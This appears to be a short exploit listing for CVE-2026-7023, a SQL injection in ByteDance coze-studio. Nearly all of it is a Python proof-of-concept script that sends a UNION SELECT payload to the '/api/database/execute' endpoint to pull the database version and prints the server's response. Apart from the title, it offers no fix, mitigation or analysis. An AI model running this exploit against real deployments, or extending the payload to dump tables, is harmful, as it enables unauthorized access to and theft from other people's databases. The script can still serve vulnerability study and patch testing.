CVE-2026-7023 ByteDance coze-studio SQL注入漏洞

import requests # Exploit Title: ByteDance coze-studio SQL Injection (CVE-2026-7023) # Vulnerable File: backend/domain/memory/database/service/database_impl.go # Function: ExecuteSQL target_url = "http://target-ip:port/api/database/execute" # Malicious payload to demonstrate SQL injection # Example: Attempt to extract database version payload = { "sql": "SELECT * FROM users WHERE id = 1 UNION SELECT NULL, version(), NULL, NULL-- -" } try: response = requests.post(target_url, json=payload, timeout=10) if response.status_code == 200: print("[+] Potential SQL Injection successful!") print("[+] Response:", response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[-] An error occurred:", str(e))